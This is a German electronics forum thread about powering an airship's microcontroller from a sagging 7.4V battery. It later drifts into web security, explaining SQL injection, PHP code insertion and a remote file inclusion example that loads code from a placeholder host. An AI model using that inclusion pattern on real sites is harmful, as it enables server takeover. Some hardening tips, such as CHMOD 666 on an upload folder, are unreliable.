mikrocontroller.net

Forum: Analoge Elektronik und Schaltungstechnik Brauche Hilfe bei kniffeliger Spannungsversorgung


Autor: A.Wippich (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Hallo.

Ihr habt mir schon oft geholfen und ich hoffe es finden sich auch zu
diesem Thema ein paar Leute, die sich damit auskennen.

Ich muss eine Spannungsversorgung für ein Luftschiff bauen, welche
folgende Eckdaten hat:

- Spannungsversorgung über 7,2V Akku
- Spannung muss auf 5V geregelt werden
- Versorgt werden Mikrocontrollerboard (nanoModul), 1 Servo,
Kameramodul und Funkmodul -> Spannungsversorgung sollte auf bis zu 1,5A
ausgelegt sein

Die Daten habe ich soweit nur gesagt bekommen, da wir die bestehende
Luftschiffhardware verbessern sollen. Wieviel die Schaltung wirklich
zieht weiß ich noch nicht, aber ich würde eher auf 500mA tippen.

Jetzt kommen die Probleme:
1.) Die Schaltung soll so lange wie möglich halten, d.h. es muss ein
Schaltregler oder ein Spannungsregler mit guten Low-Drop Eigenschaften
und geringen Verlustströmen sein.
2.) Direkt am Akku hängen noch drei Motoren. Wenn die laufen ist die
Akkuspannung sehr verrauscht und hat extreme Einbrüche. D.h. die
Spannung fällt ständig auf bis zu 2V... Auf dem Oszi sieht die
Akkuspannung dann wie ein breites Band aus. Wie das zu Stande kommt
weiß ich nicht, aber wenn die Spannung vor einem 'normalen' Regler
zusammenbricht, wird der daraus auch nichts mehr machen können... Der
Mikrocontroller führt dann einen Brown-Out-Reset durch, was nicht so
wünschenswert ist :-(

Ich habe gehört, dass es auch Aufwärtsregler geben soll, die aus
kleineren Spannungen ebenfalls (z.B.) 5V generieren können. Weiß da
jemand was von? Im Idealfall suche ich quasi einen Spannungsregler,
der

aus 2...7,2V Gleichspannung 5V erzeugt
1,5A Strom liefern kann und
dabei möglichst nicht unnötig den Akku leernuckelt.

Für mich klingt das ganze ziemlich utopisch, aber wenn jemand so ein
Teil schonmal gesehen hat oder eine andere Lösung für das Problem
kennt, wäre ich ihm sehr dankbar, wenn er das hier posten könnte.

André

____________________
http://www.dark-sun.de

Autor: Läubi (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Schau mal bei Motorola nach der AN954 Application note, da ist mit einem
MC34063 eine Kombinierte Step up/down schaltung realisiert, sodass
unterschiedliche Eingagnspannungen über/unter der gewünschten Spannung
möglich sind, ist auch sehr sparsam und sollte für deine Anwendung
perfekt sein, kann auch bis zu 1.5A liefern, ein Filter gegen Riplle
hinten drann sollte die Spannung auch ausreichend glätten für den AVR.

Autor: Läubi (Gast)
Datum:
Angehängte Dateien:

Bewertung
0 lesenswert
nicht lesenswert
App note vergessen ;)

Autor: A.Wippich (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Danke!

Woher hast Du die Daten, dass er 1,5A liefern kann? Weil da ein 1,5A
Schalttransistor integriert ist? Habe leider nirgens die ansonsten doch
obligatorischen "Absolute Ratings" gefunden, die einem zielsicher
sagen, wie man das gewählte Bauteil kaputt bekommt :-)

Autor: A.Wippich (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Hat sich erledigt. Hatte versehentlich in einer weiteren Application
Note nach den ratings gesucht. Zwei Google Einträge tiefer war das
Datenblatt :-)

Autor: Anton (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
DC-DC-Wandler?

Sind die Motoren entstört? Drosseln in die Stromzuführungen und
Kondensatoren zwischen Motorgehäuse und Plus sowie Minus und ein
Kondensator zwischen Plus und Minus. Alle Cs direkt am Motor dran!


Gruß,
Anton

Autor: Axel R. (axelr) Flattr this
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Hallo,
Motoren vernünftig entstören!
Als Schaltregler kann ich einen MAX1744 empfehlen! Funktioniert echt
prima

Gruß
AxelR.

http://pdfserv.maxim-ic.com/en/ds/MAX1744-MAX1745.pdf

Autor: A.Wippich (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Danke für die Antworten!

Die Motoren sind entstört. Zumindest wurden an den Anschlüssen jeweils
die drei erwähnten Kondensatoren angebebracht, was bei E-Motoren
eigentlich der Entstörstandard zu sein scheint.

Drosseln sind keine verbaut. Aber blocken Drosseln nicht nur leichte
hochfrequente Störungen ab. Immerhin bricht bei mir die Spannung von
ca. 6V auf 2-3V runter.

Würden Drosseln Abhilfe schaffen? Und was für Drosseln verwendet man.
Einfach die Leitungen um Ferritringe wickeln oder werden da Drosseln in
Reihe eingelötet?

Die Motoren werden übrigens über Drehzahlregler angesteuert (damit der
Mikrocontroller nur PWM zur Ansteuerung rausgeben muss). Die
Drehzahlregler befinden sich zwischen Motor und Akku.

Der MAX1744 sieht ganz gut aus, aber der wird sich bedanken, wenn die
Eingangsspannung ständig unter 4,5V sinkt, wie es zur Zeit ja der Fall
ist... Den könnte ich gut verwenden, wenn die Akkuspannung keine
Einbrüche mehr hat.

Autor: Profi (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
kommt ganz darauf an, wie lange die Einbrüche dauern.
Wenn kurz, Schottky-Diode und dicken C vor den Spannungsregler, sodass
die Motoren den C nicht leersaugen können.
Würde auf jeden Fall einen Schaltregler wegen des besseren
Wirkungsgrades nehmen.
Schau nochmal bei Maxim vorbei, die haben viel so
Batterie-Wandler-Zeug, mit dem man aus Batterien den letzten Tropfen
rausziehen kann, d.h. die kommen auch mit geringer Spannung zurecht.
LT und STM haben sicher auch vergleichbares.

Evtl. mal schauen, ob die Akkus wirklich so extrem belastet werden
müssen, dass die Spannung so weit einbricht. Das ist nämlich für den
Wirkungsgrad auch nicht gerade das beste. Also den Drehzahlsteller so
konzipieren, dass er einen Max-Strom nicht überschreitet.

Evtl. auch den Innenwiderstand des Akkus untersuchen oder einen mit
möglichst niedrigem auswählen. Auf jeden Fall den Schaltregler für die
Elektronik so nah wie möglich am Akku anklemmen.
Oder für die Elektonik einen eigenen, z.B. LiIon oder LiPoly, sehr
leicht und extreme Energiedichte.

Autor: TravelRec. (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Den Tip mit LiIon oder LiPoly würde ich lieber nicht annehmen, weil
extrem Umweltgefährlich und nicht so robust und langlebig, wie moderne
NiMH...

Autor: Unbekannter (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Welche Frequenz haben diese Spannungseinbrüche? Welche
Durchschnittsspannung stellt sich während dem Laufen der Motoren am
Akku ein?

Autor: A.Wippich (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Ich konnte leider noch keine eigenen Messungen machen.

Dem Bericht zufolge, den ich zum Luftschiff gelesen habe, stellt sich
eine durchschnittliche Spannung von 5,5V ein. Die Frequenz kenne ich
nicht, aber ich schätze mal, es wird im Bereich der Motordrehzahl
liegen - Allerdings kenne ich die auch nicht :-(

Autor: AxelR. (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Du musst doch, wenn Du die Stromversorgung für das teil neu machen
willst/musst, eine gesamtschaltung haben? Oder zumindest ein Konzept,
oder sowas..
Wenn die 7.2Volt Akkumulatoren auf 2Volt zusammenbrechen, dann stimmt
doch die Lastanpassung in keiner Weise.
Komisch

@TravelRec
LiPoly sind extrem Umweltgefährlich? Hmm...
in der Richtlinie für allgemeine Produktsicherheit (RaPS) 2001/95/EG,
welche vom Europäischen Parlament erlassen wurde, steht etwas anderes

Gruß Axel

Autor: A.Wippich (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Ich versuch emal einen Screenshot vom Oszi zu bekommen, der die
Spannungseinbrüche zeigt.

Das Problem ist, dass es keinen vernünftigen Schaltplan gibt und die
Platine ein alptraumhaftes Lochrastergefriemel ist...

Ich will dafür jetzt einen Schaltplan erstellen und auch ne ordentliche
Platine ätzen, aber das bringt mir ja alles nix wenn die Akkuspannung
verhunzt ist bzw. ich nicht weiß, wie ich daraus konstante 5V mache.

Den groben Aufbau habe ich ja soweit schon:

Akku (7,4 V) [Anm. Habe mich mit den 7,2V vertan - sind 7,4V]
  |
  |---> Drehzahlregler 1 (wird vom µC gesteuert) ---> Motor 1
  |                                              ---> Motor 2
  |
  |---> Drehzahlregler 2 (wird vom µC gesteuert) ---> Motor 3
  |
  |---> Spannungsregler (5V) ---> Logikschaltung mit µC
                             ---> Servo


Die Drehzahlregler erzeugen sich selbst intern 5V, um die PWM-Signale
des Mikrocontrollers zu verstehen. Ob sie die Motoren auch mit 5V
ansteuern weiß ich nicht. Auf den Motoren steht als einzige Angabe 6V,
also gehe ich mal davon aus, dass die mit 5V betrieben werden. Welche
Stromaufnahme die haben... keine Ahnung :-[ Es sind hier total keine
Infos zur Hardware vorhanden. Ist entwicklungstechnisch die reinste
Hölle...

Drehzahlregler 1 ist dafür ausgelegt, zwei Motoren gleichzeitig
anzusteuern (hat dafür die entsprechenden Anschlüsse).

Der Servo braucht 5V Eingangsspannung und wird ebenfalls über den
Mikrocontroller angesteuert.

Kann es sein, dass der Akku in die Knie geht, weil zuviel Strom gezogen
wird? Vielleicht müssen wir nen dickeren Akku nehmen. Soweit ich weiß,
wird z.Z. dieser hier verwendet:

Conrad Akku 7,4V
Conrad Best.-Nr. 228345

Oder erzeugen die Motoren im Betrieb Kurzschlüsse, die der Akku denen
übel nehmen könnte? Hab mit E-Motoren nie soviel am Hut gehabt g Weiß
nur, dass die beim Einschalten kurzzeitig nen Kurzschluss darstellen,
wenn durch die Selbstinduktion noch keine Gegenspannung aufgebaut
wurde.

Autor: AxelR. (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Conrad Akku 7,4V
Conrad Best.-Nr. 228345

die Dinger haben, wenn überhaupt eine Schutzschaltung verbaut ist,
maximal einen PTC drinne. dieser wird bei diesem Akkutyp bei 1C-2C
ansprechen (3Ampere, denke ich).Der Akku ist etweder zu klein oder du
müsstest welche hernehmen, die mit minimum 5-7C belastet werden können,
aslo einen extra kleinen Innenwiderstand haben.
http://www.elektromodellflug.de/akku-test/kokam-parade.htm

Kann auch sein, dass die Conrad Akkus defekt sind...
Wie werden diese aufgeladen?

Gruß
AxelR.

Autor: AxelR. (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
@André
tolle Website .-)
Nur, um eine zu haben? naja egal, fiel mir nur eben so auf
AxelR.

Autor: A.Wippich (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Argh! Mein Provider wird seid zwei Tagen von diesen Oldschool Spinnern
gehackt, die meine index.php austauschen... Ich krieg noch nen Rappel
wenn die das nicht bald in den Griff bekommen...

Kannst auch über

http://www.Dark-Sun.de/Main.php

auf meine Site gelangen. Da steckt schon ein wenig mehr Arbeit drin als
"nur um eine zu haben" g

Autor: Axel R. (axelr) Flattr this
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Allerdingens!
Die Spieleecke ist ziemlich witzig. Muss amn aufpassen, das man da
nicht hängenebleibt

Gruß
AxelR.

Autor: Eik (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Soweit mir ist, sollte bei PWM die Versorgungsspannung der Motoren eine
prozentual höhere Spannung aufweisen, als das hier der Fall ist, für
12V Motoren bis zu 35V (auf roboternetz drüber gestolpert.) Wenn die
Spannungseinbrüche im "Takt" der PWM erfolgen, dann sollte das der
Beweis für diese These sein...

mfg

EIk

Autor: AxelR. (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
der Motorstrom steigt rasant an, wenn man die Motore taktet. Dieser hohe
Strom fliesst aber nicht durch die Akkus, sondern von den
Motoranschlüssen über die Freilaufdiode. Wenn man sich einen Step-Down
Wandler ansieht, sieht man das sehr schön als Vergleich.
Das die Versorgungsspannung nun höher liegen soll/muss, als die
Motorspannung-k.A. sollte damit nun aber nichts zu tun haben. Die Akkus
sind zu dünn, oder die vorhandene Schutzelektronik im Akku spricht an.

Autor: Profi (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Das mit dem Step-Down-Converter stimmt insofern, als der
durchschnittliche Akkustrom dann sinkt. Die Eingangs-Leistung ist die
Ausgangsleistung (bis auf den Wirkungsgrad). Also fließt bei hoher
Eingangsspannung ein geringer Strom, wenn das PWM-Verhältnis klein
ist.

Funktioniert wie beim konventionellen Netz(spar)trafo Pin = Pout.
Der FET wandelt den Gleichstrom in einen Wechselstrom um  und die
Drossel transformiert die Spannung herunter und den Strom hinauf.

Beim Step-Up-Converter ist es genau umgekehrt.

Der Eingangsstom ist jedoch in dem Augenblick des Einschalten des FETs
so hoch wie der Ausgangsstrom, jedoch nur für kurze Zeit, sodass der
Durchschnittsstrom gering ist. Um diese Impuls-Ströme abzufangen (nicht
von den Akkus zu fordern), sind am Eingang des Stellers gute low-ESR-Cs
angeschlossen.

www.elektromodellflug.de ist wirklich sehr fundiert.

Autor: Läubi (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
@A.Wippich: DU solltest mal prüfen ob deine Website selber keien
offensichtlichen einbruchlöcher bietet :)

Autor: Axel R. (axelr) Flattr this
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Hi,
hat denn die Seite offensichtliche einbruchlöcher?
Mich würde die herangehensweise schonmal interssieren, wenns auch jetzt
absolut nicht hierher passt, klar...

Autor: Läubi (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Also wodrauf man achten sollte:
* Benutzereingaben (und dazu zählen auch Daten die über Formulare
übetragen werden, auch bei der POST Methode) sollten immer maskiert
werden htmelentities($variable) um Code insertions zu verhindern.
* Besonders wichtig wenn man sachen hat wie
/index.php?include=blabla.php um z.B: bei einem CMS andere Seiten
einzubinden, verhindern oder überprüfen das externe Quellen eingebunden
werden.
* SQL-Abfragen, dinge wie /index.php?id=9, wo du dan im code ne Abfrage
ahst ala: $sql="SELECT * FROM table WHERE id = ".$id;
hier koenne weitere SQl Befehle eingeshcleust werden.
* Die klassische Sache: zu einfache passwörter.
* "Uploads", sollten nur in Verzeichnissen stattfinden die keine
Ausführungsrechte habe, die Dateiendung Überprüft und der Upload
eventuell agewiesen werden.

Ist jezt was mir so auf die schnelle einfällt, weiss nicht ob sowas auf
deine Seite zutrifft, eventuell ist auch der Provider schuld, oder ein
User der Dinge einschleußt/läßt, wodurch der Hacker zugriff auf andere
User erhält.

Autor: A.Wippich (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Hi.

Der Einbruch ist nicht über meine Website erfolgt, weil bei einem
Kumpel von mir, der beim gleichen Provider ist, ebenfalls die
index-Seite ersetzt wurde. Und zwischen unseren Sites gibt es nicht die
geringste Verbindung.

Was Du da an möglichen Sicherheitsrisiken aufgezählt hast, macht mich
trotzdem etwas nervös. Hätte da noch ein paar Fragen zu.

1.) Was meinst Du genau mit Code Insertions? Das jemand (als Beispiel:)
HTML Code in ein Gästebuch-Formular schreibt, der dann von der Seite
ausgeführt werden würde, sofern man die HTML-Tags nicht entfernt?

2.) Würde das Einschleusen von weiteren SQL Befehlen über die $id
Variable funktionieren? Wenn der SQL String z.B. mit SELECT beginnt,
erwartet die Datenbank doch eine ganz bestimmt Syntax, so dass man
nicht einfach weiter Befehle adden kann. Höchstens noch so
Einschränkungen wie LIMIT=1, oder?

Gruß, André

Autor: Unbekannter (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
@A.Wippich:

Wenn SQL-Injection möglich ist, kann der Angreifer praktisch beliebige
SQL-Statements einschleusen. Der Angreifer kann dann mit der Datenbank
machen was er will.

SQL-Injection ist sehr mächtig...

Autor: Läubi (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Die Sache sit, das du mehrere SQL Befehle nacheinader ausführen kannst
innerhalb eines Statments, udn wie Unbekannter sagte aknn man damit
sehr viel Blödsinn machen.

Code Insertion ist genu das was du beschriebe hast, das kann dann
natürlich recht harmlos sein (jemand macht sein schrift einfach FETT
oder fügt nen nettes Bild ein) aber dass weitaus größere Problem ist,
das der Apachee z.B. es unterstüzt, Module anzusprechen (z.B. PHP)
welche in normalen HTML Code eingebunden wird:
<normaler><html><code>
<?php echo phpinfo(); ?>
</code></html></normaler>

Würde z.B. wenn die Option aktiviert ist das Dokument erstmal durch den
parser senden und auf die weise an der Stelle dann halt PHP Befehle
enthalten, so könnte ich dann, dadurch das PHP zugriff auf das
Filesystem hat, alel Datein anschauen (im Klartext!) udn so an SQl
Daten komemn udn mit einer weiteren Insertion mir dann Zugriff auf
Ordner, oder die Datenbank gewähren und und und.

Du kanst obigen Code übrigens ja mal testen, einfach als text.htm
speichern und aufrufen, wenn nicht geht sollte er es einfach
ignorieren, wenn es geht, sollte information über die instalierte PHP
version angezeigt werden.

Autor: A.Wippich (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Ok. Vor den Code Insertions brauche ich momentan keine Angst zu haben,
weil man keine öffentliche Texte bei mir posten kann. Aber gut zu
wissen, dass so etwas bedacht werden muss.

Wie muss ich denn das CHMOD meines Upload Ordners setzen, damit niemand
Dateien in diesem Verzeichnis ausführen kann - die Website aber immer
noch in der Lage ist, Dateien dort reinzuladen?

Und was kann man mit den SQL-Anhängseln machen? Auswertung, was in der
Variable $id steht und diese nur zulassen, wenn sie rein aus Zahlen
besteht? Das könnte man mit 'ereg' machen, oder?

Uff, es gibt auch jeden Tag was neues zu lernen :-)

Autor: Läubi (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
CHMOD 666 erlaubt kein Ausführen in diesem Ordner (natürlichnur bei
UNIX/Linux Servern)

die sache mit der id läßt sich recht leicht lösen:

... WHERE id = '".(htmlentities($id)+0)."'";
dmit werdne alle  stuerzeichen entfernt, die Variable als Int gecastet
und somit im zweifelsfall zu 0 ausgewertet.

Autor: Sssssss (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
interessanter sind file inclusions ... wenn dann noch allow url fopen =
on ist dann wirds richtig mies :-X

grobes Beispiel:

index.php:
<?
$nav = $_GET['nav'];
include($nav);
?>

normaler aufruf:
index.php?nav=startseite.html

boeser hacker:
index.php?nav=http://meinserver.net/badfile.php

-> badfile.php wird auf deinem Server mit deinen rechten ausgeführt.
Schlimmer gehts nicht mehr 8)

Autor: A. Wippich (Gast)
Datum:

Bewertung
0 lesenswert
nicht lesenswert
Ok, danke nochmal. Hab schnell mal diese Sicherheitslücken geschlossen
:-)

Antwort schreiben

Die Angabe einer E-Mail-Adresse ist freiwillig. Wenn Sie automatisch per E-Mail über Antworten auf Ihren Beitrag informiert werden möchten, melden Sie sich bitte an.

Wichtige Regeln - erst lesen, dann posten!

  • Groß- und Kleinschreibung verwenden
  • Längeren Sourcecode nicht im Text einfügen, sondern als Dateianhang

Formatierung (mehr Informationen...)

  • [c]C-Code[/c]
  • [avrasm]AVR-Assembler-Code[/avrasm]
  • [code]Code in anderen Sprachen, ASCII-Zeichnungen[/code]
  • [math]Formel in LaTeX-Syntax[/math]
  • [[Titel]] - Link zu Artikel
  • Verweis auf anderen Beitrag einfügen: Rechtsklick auf Beitragstitel,
    "Adresse kopieren", und in den Text einfügen




Bild automatisch verkleinern, falls nötig
Bitte das JPG-Format nur für Fotos und Scans verwenden!
Zeichnungen und Screenshots im PNG- oder
GIF-Format hochladen. Siehe Bildformate.
Hinweis: der ursprüngliche Beitrag ist mehr als 6 Monate alt.
Bitte hier nur auf die ursprüngliche Frage antworten,
für neue Fragen einen neuen Beitrag erstellen.

Mit dem Abschicken bestätigst du, die Nutzungsbedingungen anzuerkennen.